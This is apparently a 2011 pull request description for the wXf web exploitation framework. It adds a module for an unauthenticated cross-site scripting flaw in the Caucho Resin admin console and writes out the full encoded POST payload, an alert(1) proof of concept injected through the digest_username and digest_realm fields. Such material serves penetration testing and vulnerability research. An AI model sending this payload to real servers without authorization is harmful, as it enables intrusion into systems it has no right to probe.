WebExploitationFramework/wXf — pull request #38 by theinfinitenigma (2011-12-13 08:30:57+00:00)
Title: Added Caucho Resin admin console XSS module and payload

Unauthenticated XSS in the Resin admin form using digest_username and digest_realm input fields

Uses HTTP POST to send the following parameter data:

digest_username=aaa%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3C%22&digest_password1=&digest_password2=&digest_realm=aaa%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3C%22&digest_attempt=true

A vulnerable server will return "alert(1)" in the response.

- Added file resinxss.rb : MD5 = 83c500461e3d776475d54adbfa544688
- Added file resinxsspayload.rb : MD5 = 9d26885d7fb67d03423ad1de5d4de19d